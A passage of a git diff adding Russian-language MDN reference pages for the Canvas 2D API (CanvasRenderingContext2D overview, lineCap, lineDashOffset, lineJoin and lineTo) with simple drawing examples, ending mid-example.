{{domxref("CanvasRenderingContext2D.strokeRect()")}}
+
Рисует на холсте прямоугольник с начальной точкой в позиции (x, y), имеющий ширину w и высоту h, используя текущий стиль обводки.
+
+ +

Рисование текста

+ +

Следующие методы позволяют создать текст. Смотрите так же информацию об объекте {{domxref("TextMetrics")}}, хранящем свойства текста.

+ +
+
{{domxref("CanvasRenderingContext2D.fillText()")}}
+
Рисует (заливает) заданный текст в заданной позиции (x,y).
+
{{domxref("CanvasRenderingContext2D.strokeText()")}}
+
Рисует обводку заданного текста в заданной позиции (x, y).
+
{{domxref("CanvasRenderingContext2D.measureText()")}}
+
Возвращает объект {{domxref("TextMetrics")}}.
+
+ +

Стили линий

+ +

Следующие методы и свойства определяют как будут отрисовываться линии.

+ +
+
{{domxref("CanvasRenderingContext2D.lineWidth")}}
+
Ширина линий. По умолчанию 1.0
+
{{domxref("CanvasRenderingContext2D.lineCap")}}
+
Форма концов линий. Возможные значения: butt (по умолчанию), round, square.
+
{{domxref("CanvasRenderingContext2D.lineJoin")}}
+
Определяет форму вершин, в которых две линии сходятся. Возможные значения: round, bevel, miter (по умолчанию).
+
{{domxref("CanvasRenderingContext2D.miterLimit")}}
+
Ограничение длины сопряжений. По умолчанию 10.
+
{{domxref("CanvasRenderingContext2D.getLineDash()")}}
+
Возвращает текущий паттерн штриховой линии, который представляет собой массив, состоящий из четного количества неотрицательных чисел.
+
{{domxref("CanvasRenderingContext2D.setLineDash()")}}
+
Устанавливает текущий паттерн штриховой линии.
+
{{domxref("CanvasRenderingContext2D.lineDashOffset")}}
+
Указывает с какого места начать штриховку линии.
+
+ +

Стили текста

+ +

Следующие свойства контролируют отображение текста.

+ +
+
{{domxref("CanvasRenderingContext2D.font")}}
+
Настройки шрифта. Значение по умолчанию: 10px sans-serif.
+
{{domxref("CanvasRenderingContext2D.textAlign")}}
+
Определяет выравнивание текста по горизонтали. Возможные значения: start (по умолчанию), end, left, right или center.
+
{{domxref("CanvasRenderingContext2D.textBaseline")}}
+
Определяет выравнивание текста относительно базовой линии. Возможные значения: top, hanging, middle, alphabetic (по умолчанию), ideographic, bottom.
+
{{domxref("CanvasRenderingContext2D.direction")}}
+
Направление текста. Возможные значения: ltr, rtl, inherit (по умолчанию).
+
+ +

Стили заливки и обводки

+ +

Стили заливки применяются к цветам и стилям внутри форм, а стили обводки применяются к линиям вокруг форм.

+ +
+
{{domxref("CanvasRenderingContext2D.fillStyle")}}
+
Цвет или стиль применяемый внутри форм. По умолчанию #000 (черный).
+
{{domxref("CanvasRenderingContext2D.strokeStyle")}}
+
Цвет или стиль , применяемый к линиям вокруг формы. По умолчанию #000 (черный).
+
+ +

Градиенты и шаблоны

+ +
+
{{domxref("CanvasRenderingContext2D.createLinearGradient()")}}
+
Создает линейный градиент вдоль линии, задаваемой координатами, передаваемыми в параметры метода.
+
{{domxref("CanvasRenderingContext2D.createRadialGradient()")}}
+
Создает радиальный градиент, задаваемый координатами двух окружностей, передаваемыми в параметры метода.
+
{{domxref("CanvasRenderingContext2D.createPattern()")}}
+
Создает шаблон, используя указанное изображение ({{domxref("CanvasImageSource")}}). Он повторяет исходное изображение в направлениях, указанных во втором аргументе. Этот метод возвращает {{domxref("CanvasPattern")}}.
+
+ +

Тени

+ +
+
{{domxref("CanvasRenderingContext2D.shadowBlur")}}
+
Устанавливает эффект размытия. По умолчанию 0
+
{{domxref("CanvasRenderingContext2D.shadowColor")}}
+
Цвет тени. По умолчанию полностью прозрачный черный.
+
{{domxref("CanvasRenderingContext2D.shadowOffsetX")}}
+
Горизонтальное смещение тени. По умолчанию 0.
+
{{domxref("CanvasRenderingContext2D.shadowOffsetY")}}
+
Вертикальное смещение тени. По умолчанию 0.
+
+ +

Контуры

+ +

Следующие методы могут быть использованы для манипулирования контурами объектов.

+ +
+
{{domxref("CanvasRenderingContext2D.beginPath()")}}
+
Создает новый пустой контур, обнуляя список фрагментов контура. Вызовите этот метод, когда захотите создать новый контур.
+
{{domxref("CanvasRenderingContext2D.closePath()")}}
+
Перемещает точку рисования назад к началу текущего фрагмента контура. Этот метод пытается провести прямую линию от текущей точки до начальной. Если форма уже закрыта или имеет только одну точку, метод ничего не делает.
+
{{domxref("CanvasRenderingContext2D.moveTo()")}}
+
Перемещает начальную точку нового фрагмента контура в точку с координатами (x, y).
+
{{domxref("CanvasRenderingContext2D.lineTo()")}}
+
Соединяет последнюю точку фрагмента контура и точку с координатами (x,y) прямой линией .
+
{{domxref("CanvasRenderingContext2D.bezierCurveTo()")}}
+
Добавляет кубическую кривую Безье к контуру. Для построения требуется три точки. Первые две точки являются контрольными, а третья - конечной. В качестве начальной точки выступает последняя точка текущего фрагмента контура, но она может быть изменена с помощью метода moveTo() перед созданием кривой Безье.
+
{{domxref("CanvasRenderingContext2D.quadraticCurveTo()")}}
+
Добавляет квадратичную кривую Безье к текущему контуру.
+
{{domxref("CanvasRenderingContext2D.arc()")}}
+
Добавляет к контуру дугу, с центром в точке (x, y), радиусом r, имеющую угол начала startAngle и конца endAngle, рисующуюся в направлении, заданном в аргументе anticlockwise (по умолчанию - по часовой стрелке).
+
{{domxref("CanvasRenderingContext2D.arcTo()")}}
+
Добавляет к контуру дугу, заданную контрольными точками и радиусом, соединяющуюся с предыдущей точкой прямой линией.
+
{{domxref("CanvasRenderingContext2D.ellipse()")}} {{experimental_inline}}
+
Добавляет к контуру эллипс, с центром в точке (x, y), заданный радиусами radiusX и radiusY, имеющий угол начала startAngle и конца endAngle, рисующийся в направлении, заданном в аргументе anticlockwise (по умолчанию - по часовой стрелке).
+
{{domxref("CanvasRenderingContext2D.rect()")}}
+
Создает контур прямоугольника с началом в точке (x, y), и размерами, заданными шириной width и высотой height.
+
+ +

Рисование контуров

+ +
+
{{domxref("CanvasRenderingContext2D.fill()")}}
+
Заливает фрагменты контура текущей заливкой.
+
{{domxref("CanvasRenderingContext2D.stroke()")}}
+
Выполняет обводку фрагментов контура текущей обводкой.
+
{{domxref("CanvasRenderingContext2D.drawFocusIfNeeded()")}}
+
Если заданный элемент находится в фокусе, этот метод рисует рамку фокуса вокруг текущего контура.
+
{{domxref("CanvasRenderingContext2D.scrollPathIntoView()")}}
+
Прокручивает текущий или заданный контур в видимую область окна браузера.
+
{{domxref("CanvasRenderingContext2D.clip()")}}
+
Создает область отсечения из текущих фрагментов контура. Все что рисуется после вызова метода clip() применяется только внутри области отсечения. Пример использования см. в разделе Области отсечения руководства по Canvas.
+
{{domxref("CanvasRenderingContext2D.isPointInPath()")}}
+
Позволяет узнать, содержится ли указанная точка в текущем контуре.
+
{{domxref("CanvasRenderingContext2D.isPointInStroke()")}}
+
Позволяет узнать, находится ли указанная точка на обводке контура.
+
+ +

Трансформации

+ +

Объекты в контексте рендеринга CanvasRenderingContext2D имеют текущую матрицу преобразований и методы для управления ей. Матрица преобразований применяется в момент создания текущего контура по умолчанию, рисования текста, форм и объектов {{domxref("Path2D")}}. Методы, перечисленные ниже, остаются по историческим причинам и из соображений совместимости, в то время как в настоящее время в большинстве разделов API используются объекты {{domxref("SVGMatrix")}}, которые будут использоваться в будущем как замена устаревшим методам.

+ +
+
{{domxref("CanvasRenderingContext2D.currentTransform")}}
+
Текущая матрица преобразований ({{domxref("SVGMatrix")}} object).
+
{{domxref("CanvasRenderingContext2D.rotate()")}}
+
Добавляет вращение в матрицу преобразований. Аргумент представляет угол вращения по часовой стрелке, выраженный в радианах.
+
{{domxref("CanvasRenderingContext2D.scale()")}}
+
Добавляет к  элементам холста трансформацию масштабирования в x раз по горизонтали и y раз по вертикали.
+
{{domxref("CanvasRenderingContext2D.translate()")}}
+
Добавляет трансформацию перемещения, перемещая начальную точку системы координат холста на x по горизонтали и y по вертикали.
+
{{domxref("CanvasRenderingContext2D.transform()")}}
+
Управляет текущей матрицей преобразований при помощи матрицы, описанной аргументами, переданными в метод.
+
{{domxref("CanvasRenderingContext2D.setTransform()")}}
+
Переустанавливает текущую матрицу преобразований в единичную матрицу, после чего вызывает метод transform() с теми же аргументами.
+
{{domxref("CanvasRenderingContext2D.resetTransform()")}} {{experimental_inline}}
+
Переустанавливает текущую матрицу преобразований в единичную матрицу.
+
+ +

Композиция

+ +
+
{{domxref("CanvasRenderingContext2D.globalAlpha")}}
+
Значение альфа-канала, применяемое к формам и изображениям, прежде чем они накладываются на холст. Значение по умолчанию 1.0 (полностью непрозначный).
+
{{domxref("CanvasRenderingContext2D.globalCompositeOperation")}}
+
Совместно с примененным globalAlpha это свойство определяет как формы и изображения накладываются на существующее изображение.
+
+ +

Рисование изображений

+ +
+
{{domxref("CanvasRenderingContext2D.drawImage()")}}
+
Рисует заданное изображение. У этого метода есть несколько различных форматов вызова, что обеспечивает большую гибкость в его использовании.
+
+ +

Манипулирование пикселями

+ +

См. также объект {{domxref("ImageData")}}.

+ +
+
{{domxref("CanvasRenderingContext2D.createImageData()")}}
+
Создает новый пустой объект {{domxref("ImageData")}} с заданными размерами. Цвет всех пикселов в новом объекте устанавливается в прозрачный черный.
+
{{domxref("CanvasRenderingContext2D.getImageData()")}}
+
Возвращает объект {{domxref("ImageData")}}, представляющий данные о пикселах, расположенных под областью холста, ограниченной прямоугольником длиной sw и высотой sh, начальная точка которого находится в позиции (sx, sy).
+
{{domxref("CanvasRenderingContext2D.putImageData()")}}
+
Переносит данные, заданные в объекте {{domxref("ImageData")}}, на холст. Если в аргументах задана уточняющая прямоугольная область, отрисованы  будут только пикселы из этой области.
+
+ +

Сглаживание изображений

+ +
+
{{domxref("CanvasRenderingContext2D.imageSmoothingEnabled")}} {{experimental_inline}}
+
Режим сглаживания изображений; если отключен, изображения не будут сглаживаться при масштабировании.
+
+ +

Состояние холста

+ +

Контекст рендеринга CanvasRenderingContext2D содержит множество состояний стилей рисования (атрибуты для стилей линий, стили теней, стили текста). Следующие методы помогут вам работать с этими состояниями:

+ +
+
{{domxref("CanvasRenderingContext2D.save()")}}
+
Сохраняет текущее состояние стилей рисования, используя для этого стек, так что вы можете отменить любые внесенные в него изменения с помощью метода restore().
+
{{domxref("CanvasRenderingContext2D.restore()")}}
+
Восстанавливает состояние стилей рисования в значение, сохраненное методом save() в стек состояний последним.
+
{{domxref("CanvasRenderingContext2D.canvas")}}
+
Доступная только для чтения обратная ссылка на {{domxref("HTMLCanvasElement")}}. Может иметь значение {{jsxref("null")}}, если она не связана с элементом {{HTMLElement("canvas")}}.
+
+ +

Области попадания

+ +
+
{{domxref("CanvasRenderingContext2D.addHitRegion()")}} {{experimental_inline}}
+
Добавляет область попадания к холсту.
+
{{domxref("CanvasRenderingContext2D.removeHitRegion()")}} {{experimental_inline}}
+
Удаляет область попадания с указанным id с холста.
+
{{domxref("CanvasRenderingContext2D.clearHitRegions()")}} {{experimental_inline}}
+
Удаляет все области попадания с холста.
+
+ +

Нестандартные API

+ + + +

Большинство из этих API являются запрещенными и будут удалены в будущем.

+ +
+
{{non-standard_inline}} CanvasRenderingContext2D.clearShadow()
+
Удаляет все настройки теней, такие как {{domxref("CanvasRenderingContext2D.shadowColor")}} и {{domxref("CanvasRenderingContext2D.shadowBlur")}}.
+
{{non-standard_inline}} CanvasRenderingContext2D.drawImageFromRect()
+
This is redundant with an equivalent overload of drawImage.
+
{{non-standard_inline}} CanvasRenderingContext2D.setAlpha()
+
Вместо этого метода следует использовать {{domxref("CanvasRenderingContext2D.globalAlpha")}}.
+
{{non-standard_inline}} CanvasRenderingContext2D.setCompositeOperation()
+
Вместо этого метода следует использовать {{domxref("CanvasRenderingContext2D.globalCompositeOperation")}}.
+
{{non-standard_inline}} CanvasRenderingContext2D.setLineWidth()
+
Вместо этого метода следует использовать {{domxref("CanvasRenderingContext2D.lineWidth")}}.
+
{{non-standard_inline}} CanvasRenderingContext2D.setLineJoin()
+
Вместо этого метода следует использовать {{domxref("CanvasRenderingContext2D.lineJoin")}}.
+
{{non-standard_inline}} CanvasRenderingContext2D.setLineCap()
+
Вместо этого метода следует использовать {{domxref("CanvasRenderingContext2D.lineCap")}}.
+
{{non-standard_inline}} CanvasRenderingContext2D.setMiterLimit()
+
Вместо этого метода следует использовать {{domxref("CanvasRenderingContext2D.miterLimit")}}.
+
{{non-standard_inline}} CanvasRenderingContext2D.setStrokeColor()
+
Вместо этого метода следует использовать {{domxref("CanvasRenderingContext2D.strokeStyle")}}.
+
{{non-standard_inline}} CanvasRenderingContext2D.setFillColor()
+
Вместо этого метода следует использовать {{domxref("CanvasRenderingContext2D.fillStyle")}}.
+
{{non-standard_inline}} CanvasRenderingContext2D.setShadow()
+
Вместо этого метода следует использовать {{domxref("CanvasRenderingContext2D.shadowColor")}} и {{domxref("CanvasRenderingContext2D.shadowBlur")}}.
+
{{non-standard_inline}} CanvasRenderingContext2D.webkitLineDash
+
Вместо этого свойства следует использовать {{domxref("CanvasRenderingContext2D.getLineDash()")}} и {{domxref("CanvasRenderingContext2D.setLineDash()")}}.
+
{{non-standard_inline}} CanvasRenderingContext2D.webkitLineDashOffset
+
Вместо этого свойства следует использовать {{domxref("CanvasRenderingContext2D.lineDashOffset")}}.
+
{{non-standard_inline}} CanvasRenderingContext2D.webkitImageSmoothingEnabled
+
Вместо этого свойства следует использовать {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled")}}.
+
+ + + +
+
{{non-standard_inline}} CanvasRenderingContext2D.getContextAttributes()
+
По аналогии с аналогичным методом класса WebGLRenderingContext, возвращает объект Canvas2DContextAttributes, который содержит аттрибуты "storage", показывающие какое хранилище используется (по умолчанию "persistent") и аттрибут "alpha" (true по умолчанию), показывающий используется ли прозрачность на холсте.
+
{{non-standard_inline}} CanvasRenderingContext2D.isContextLost()
+
По аналогии с аналогичным методом класса WebGLRenderingContext, возвращает true если контекст canvas был потерян, иначе false.
+
+ +

Только WebKit

+ +
+
{{non-standard_inline}} CanvasRenderingContext2D.webkitBackingStorePixelRatio
+
Размер хранилища по отношению к элементу canvas. Смотри High DPI Canvas.
+
{{non-standard_inline}} CanvasRenderingContext2D.webkitGetImageDataHD
+
Предназначался для HD хранилищ, но удален из спецификации canvas.
+
{{non-standard_inline}} CanvasRenderingContext2D.webkitPutImageDataHD
+
Предназначался для HD хранилищ, но удален из спецификации canvas.
+
+ +
+
+ +

Только Gecko

+ +
+
{{non-standard_inline}} {{domxref("CanvasRenderingContext2D.filter")}}
+
CSS and SVG filters as Canvas APIs. Likely to be standardized in a new version of the specification.
+
+ +

Prefixed APIs

+ +
+
{{non-standard_inline}} CanvasRenderingContext2D.mozCurrentTransform
+
Sets or gets the current transformation matrix, see {{domxref("CanvasRenderingContext2D.currentTransform")}}.  {{ gecko_minversion_inline("7.0") }}
+
{{non-standard_inline}} CanvasRenderingContext2D.mozCurrentTransformInverse
+
Sets or gets the current inversed transformation matrix.  {{ gecko_minversion_inline("7.0") }}
+
{{non-standard_inline}} CanvasRenderingContext2D.mozFillRule
+
The fill rule to use. This must be one of evenodd or nonzero (default).
+
{{non-standard_inline}} CanvasRenderingContext2D.mozImageSmoothingEnabled
+
See {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled")}}.
+
{{non-standard_inline}} {{deprecated_inline}} CanvasRenderingContext2D.mozDash
+
An array which specifies the lengths of alternating dashes and gaps {{ gecko_minversion_inline("7.0") }}. Use {{domxref("CanvasRenderingContext2D.getLineDash()")}} and {{domxref("CanvasRenderingContext2D.setLineDash()")}} instead.
+
{{non-standard_inline}} {{deprecated_inline}} CanvasRenderingContext2D.mozDashOffset
+
Specifies where to start a dash array on a line. {{ gecko_minversion_inline("7.0") }}. Use {{domxref("CanvasRenderingContext2D.lineDashOffset")}} instead.
+
{{non-standard_inline}} {{deprecated_inline}} CanvasRenderingContext2D.mozTextStyle
+
Introduced in in Gecko 1.9, deprecated in favor of the {{domxref("CanvasRenderingContext2D.font")}} property.
+
{{non-standard_inline}} {{obsolete_inline}} CanvasRenderingContext2D.mozDrawText()
+
This method was introduced in Gecko 1.9 and is removed starting with Gecko 7.0. Use {{domxref("CanvasRenderingContext2D.strokeText()")}} or {{domxref("CanvasRenderingContext2D.fillText()")}} instead.
+
{{non-standard_inline}} {{obsolete_inline}} CanvasRenderingContext2D.mozMeasureText()
+
This method was introduced in Gecko 1.9 and is unimplemented starting with Gecko 7.0. Use {{domxref("CanvasRenderingContext2D.measureText()")}} instead.
+
{{non-standard_inline}} {{obsolete_inline}} CanvasRenderingContext2D.mozPathText()
+
This method was introduced in Gecko 1.9 and is removed starting with Gecko 7.0.
+
{{non-standard_inline}} {{obsolete_inline}} CanvasRenderingContext2D.mozTextAlongPath()
+
This method was introduced in Gecko 1.9 and is removed starting with Gecko 7.0.
+
+ +

Internal APIs (chrome-context only)

+ +
+
{{non-standard_inline}} {{domxref("CanvasRenderingContext2D.asyncDrawXULElement()")}}
+
Renders a region of a XUL element into the canvas.
+
{{non-standard_inline}} {{domxref("CanvasRenderingContext2D.drawWindow()")}}
+
Renders a region of a window into the canvas. The contents of the window's viewport are rendered, ignoring viewport clipping and scrolling.
+
{{non-standard_inline}} CanvasRenderingContext2D.demote()
+
This causes a context that is currently using a hardware-accelerated backend to fallback to a software one. All state should be preserved.
+
+ +

Internet Explorer

+ +
+
{{non-standard_inline}} CanvasRenderingContext2D.msFillRule
+
The fill rule to use. This must be one of evenodd or nonzero (default).
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
CпецификацияСтатусКомментарии
{{SpecName('HTML WHATWG', "scripting.html#2dcontext:canvasrenderingcontext2d", "CanvasRenderingContext2D")}}{{Spec2('HTML WHATWG')}} 
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatChrome("1")}}{{CompatGeckoDesktop("1.8")}}{{CompatIE("9")}}{{CompatOpera("9")}}{{CompatSafari("2")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Примечания о совместимости

+ + + +

Смотрите также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/linecap/index.html b/files/ru/web/api/canvasrenderingcontext2d/linecap/index.html new file mode 100644 index 0000000000..e4d59a184d --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/linecap/index.html @@ -0,0 +1,132 @@ +--- +title: CanvasRenderingContext2D.lineCap +slug: Web/API/CanvasRenderingContext2D/lineCap +tags: + - API + - Canvas + - Property +translation_of: Web/API/CanvasRenderingContext2D/lineCap +--- +
{{APIRef}}
+ +

Свойство CanvasRenderingContext2D.lineCap предоставляемое Canvas 2D API определяет, как будут выглядеть концы нарисованных линий. 

+ +
+

Примечание: Линии могут быть нарисованы с помощью методов {{domxref("CanvasRenderingContext2D.stroke()", "stroke()")}}, {{domxref("CanvasRenderingContext2D.strokeRect()", "strokeRect()")}}, и {{domxref("CanvasRenderingContext2D.strokeText()", "strokeText()")}} methods.

+
+ +

Синтаксис

+ +
ctx.lineCap = "butt" || "round" || "square";
+ +

Параметры

+ +
+
butt
+
Концы линий прямые.
+
round
+
Концы линий скругленные.
+
square
+
Концы линий прямые, но к ней с обоих концов добавляется поле с шириной равной толщине линии и высотой равной половине от толщины линии.
+
+ +

Примеры

+ +

Использование свойства lineCap

+ +

Ниже представлен простой фрагмент кода, использующий lineCap.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+ +

JavaScript

+ +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.beginPath();
+ctx.moveTo(20, 20);
+ctx.lineWidth = 15;
+ctx.lineCap = 'round';
+ctx.lineTo(100, 100);
+ctx.stroke();
+ +

Результат

+ +

{{ EmbedLiveSample('Использование_свойства_lineCap', 700, 180) }}

+ +

Разница между значениями lineCap

+ +

В примере нарисованы три линии с разными значениями lineCap. Для наглядности мы добавим две направляющие. Каждая линия будет начинаться и заканчиваться этими направляющими.

+ +

Левая линия будет использовать значение lineCap "butt". Она не будет выходить за направляющие. Средняя линия будет нарисована со занчением lineCap "round". За направляющие будут выходить полукруги с диаметром равным толщине линии. Правая линия будет использовать значение "square". Она будет выходить за направляющие на поля с шириной равной толщине линии и высотой равной половине толщины.

+ + + +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+const lineCap = ['butt', 'round', 'square'];
+
+// Draw guides
+ctx.strokeStyle = '#09f';
+ctx.beginPath();
+ctx.moveTo(10, 10);
+ctx.lineTo(140, 10);
+ctx.moveTo(10, 140);
+ctx.lineTo(140, 140);
+ctx.stroke();
+
+// Draw lines
+ctx.strokeStyle = 'black';
+for (let i = 0; i < lineCap.length; i++) {
+  ctx.lineWidth = 15;
+  ctx.lineCap = lineCap[i];
+  ctx.beginPath();
+  ctx.moveTo(25 + i * 50, 10);
+  ctx.lineTo(25 + i * 50, 140);
+  ctx.stroke();
+}
+ +

{{EmbedLiveSample("Разница_между_значениями_lineCap", "180", "180", "https://mdn.mozillademos.org/files/236/Canvas_linecap.png")}}

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-linecap", "CanvasRenderingContext2D.lineCap")}}{{Spec2('HTML WHATWG')}}
+ +

Совместиммоссть с браузерами

+ + + +

{{Compat("api.CanvasRenderingContext2D.lineCap")}}

+ + + + + +

Смотрите также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/linedashoffset/index.html b/files/ru/web/api/canvasrenderingcontext2d/linedashoffset/index.html new file mode 100644 index 0000000000..ec4db4e6e2 --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/linedashoffset/index.html @@ -0,0 +1,149 @@ +--- +title: CanvasRenderingContext2D.lineDashOffset +slug: Web/API/CanvasRenderingContext2D/lineDashOffset +tags: + - API + - Canvas + - CanvasRenderingContext2D + - JavaScript + - Property + - Reference +translation_of: Web/API/CanvasRenderingContext2D/lineDashOffset +--- +
{{APIRef}}
+ +
+ +

Свойство CanvasRenderingContext2D.lineDashOffset в Canvas 2D API устанавливает смещение штрихов, или «фаза».

+ +
+

Примечание: Линии нарисованы вызовом метода  {{domxref("CanvasRenderingContext2D.stroke()", "stroke()")}}.

+
+ +

Синтаксис

+ +
ctx.lineDashOffset = value;
+
+ +
+
value
+
Число с плавающей запятой, определяющее величину смещения штрихов линии. Значением по умолчанию является 0,0.
+
+ +

Примеры

+ +

Смещение штрихов

+ +

Этот пример рисует две пунктирные линии. Первая не имеет смещения. Вторая имеет смещение 4.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.setLineDash([4, 16]);
+
+// Пунктирная линия без смещения
+ctx.beginPath();
+ctx.moveTo(0, 50);
+ctx.lineTo(300, 50);
+ctx.stroke();
+
+// Пунктирная линия со смещением 4
+ctx.beginPath();
+ctx.strokeStyle = 'red';
+ctx.lineDashOffset = 4;
+ctx.moveTo(0, 100);
+ctx.lineTo(300, 100);
+ctx.stroke();
+
+ +

Результат

+ +

Линия со смещением будет нарисована красным цветом.

+ +

{{ EmbedLiveSample('Смещение_штрихов', '', '', '', 'Web/API/CanvasRenderingContext2D/lineDashOffset') }}

+ +

Эффект марширующих муравьев

+ +

Эффект марширующих муравьев - это техника анимации, часто встречающаяся в инструментах выбора программ компьютерной графики. Это помогает пользователю отличить границу выделения от фона изображения, анимируя границу..

+ + + +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+let offset = 0;
+
+const draw = () => {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  ctx.setLineDash([4, 2]);
+  ctx.lineDashOffset = -offset;
+  ctx.strokeRect(10, 10, 100, 100);
+}
+
+const march = () => {
+  offset++;
+  if (offset > 16) {
+    offset = 0;
+  }
+  draw();
+  setTimeout(march, 20);
+}
+
+march();
+
+ +

{{ EmbedLiveSample('Эффект_марширующих_муравьев', '', '', '', 'Web/API/CanvasRenderingContext2D/lineDashOffset') }}

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-linedashoffset", "CanvasRenderingContext2D.lineDashOffset")}}{{Spec2('HTML WHATWG')}}
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.CanvasRenderingContext2D.lineDashOffset")}}

+ +

Специфичные для Gecko заметки

+ + + +

Специфичные для WebKit заметки

+ + + +

Смотрите также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/linejoin/index.html b/files/ru/web/api/canvasrenderingcontext2d/linejoin/index.html new file mode 100644 index 0000000000..afdeff96d3 --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/linejoin/index.html @@ -0,0 +1,143 @@ +--- +title: CanvasRenderingContext2D.lineJoin +slug: Web/API/CanvasRenderingContext2D/lineJoin +tags: + - API + - Canvas + - Property +translation_of: Web/API/CanvasRenderingContext2D/lineJoin +--- +
{{APIRef}}
+ +

Свойство CanvasRenderingContext2D.lineJoin предоставляемое Canvas 2D API определяет форму вершин в которых линии сходятся. Длина линий должна быть ненулевой.

+ +

См. также главу Applying styles and color в Canvas Tutorial.

+ +
+

Note: Lines can be drawn with the {{domxref("CanvasRenderingContext2D.stroke()", "stroke()")}}, {{domxref("CanvasRenderingContext2D.strokeRect()", "strokeRect()")}}, and {{domxref("CanvasRenderingContext2D.strokeText()", "strokeText()")}} methods.

+
+ +

Синтаксис

+ +
ctx.lineJoin = "bevel" || "round" || "miter";
+ +

Значения

+ +

Свойство может принимать три значения: round, bevel и miter. По умолчанию установленно значение miter. Имейте ввиду, что свойство никак не повлияет на линии направленные в одну сторону, потому что не будет создана зона пересечения.

+ +

+ +
+
round
+
Скругляет углы засчет добавления сектора с центром в точке пересечения линий и радиусом равным толщине линии.
+
bevel
+
"Срезает" угол, рисуя треугольник с вершинами в точке пересечения линий и крайних точках каждой линии.
+
miter
+
Соединяет линии в одной точке, расширяя для этого их границы и заполняя пространство ромбами . Установка этого эффекта осуществляется свойством {{domxref("CanvasRenderingContext2D.miterLimit", "miterLimit")}}.
+
+ +

Примеры

+ +

Использование свойства lineJoin

+ +

Ниже представлен простой фрагмент кода, использующий lineJoin для скругления места соединения линий.

+ +

 

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+ +

JavaScript

+ +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.lineWidth = 20;
+ctx.lineJoin = 'round';
+ctx.beginPath();
+ctx.moveTo(20, 20);
+ctx.lineTo(190, 100);
+ctx.lineTo(280, 20);
+ctx.lineTo(280, 150);
+ctx.stroke();
+ +

Result

+ +

{{ EmbedLiveSample('Changing_the_joins_in_a_path', 700, 180) }}

+ +

 

+ +

Разница между значениями lineJoin

+ +

Пример ниже наглядно демонстрирует разницу между значениями свойства lineJoin.

+ +

 

+ + + +
var ctx = document.getElementById('canvas').getContext('2d');
+var lineJoin = ['round', 'bevel', 'miter'];
+ctx.lineWidth = 10;
+
+for (let i = 0; i < lineJoin.length; i++) {
+  ctx.lineJoin = lineJoin[i];
+  ctx.beginPath();
+  ctx.moveTo(-5, 5 + i * 40);
+  ctx.lineTo(35, 45 + i * 40);
+  ctx.lineTo(75, 5 + i * 40);
+  ctx.lineTo(115, 45 + i * 40);
+  ctx.lineTo(155, 5 + i * 40);
+  ctx.stroke();
+}
+ +

{{EmbedLiveSample("Comparison_of_line_joins", "180", "180", "https://mdn.mozillademos.org/files/237/Canvas_linejoin.png")}}

+ +

 

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-linejoin", "CanvasRenderingContext2D.lineJoin")}}{{Spec2('HTML WHATWG')}} 
+ +

Совместимость с брузерами

+ +

 

+ + + +

{{Compat("api.CanvasRenderingContext2D.lineJoin")}}

+ +

 

+ + + + + +

Смотрите также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/lineto/index.html b/files/ru/web/api/canvasrenderingcontext2d/lineto/index.html new file mode 100644 index 0000000000..b09732cc5e --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/lineto/index.html @@ -0,0 +1,116 @@ +--- +title: CanvasRenderingContext2D.lineTo() +slug: Web/API/CanvasRenderingContext2D/lineTo +tags: + - API + - Canvas + - Method +translation_of: Web/API/CanvasRenderingContext2D/lineTo +--- +
{{APIRef}}
+ +

lineTo() - метод {{domxref("CanvasRenderingContext2D")}}, часть Canvas 2D API, добавляет линию к текущему под пути с конечной точкой с короординатами (x, y).

+ +

Сам метод ничего не рисует, он лишь добавляет подпуть к текущему пути, предоствляя его таким методам, как {{domxref("CanvasRenderingContext2D.fill", "fill()")}} и {{domxref("CanvasRenderingContext2D.stroke", "stroke()")}}, отрисовывающим сам путь.

+ +

Синтаксис

+ +
ctx.lineTo(x, y);
+
+ +

Параметры

+ +
+
x
+
OX значение конца линии.
+
y
+
OY значение конца линии.
+
+ +

Возвращаемое значение

+ +

{{jsxref("undefined")}}.

+ +

Примеры

+ +

Рисование прямых линий

+ +

Этот пример рисует прямую линию используя метод lineTo().

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +

Линия начинается в точке (30, 50), а заканчивается в точке (150, 100).

+ +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.beginPath();       // Начинает новый путь
+ctx.moveTo(30, 50);    // Рередвигает перо в точку (30, 50)
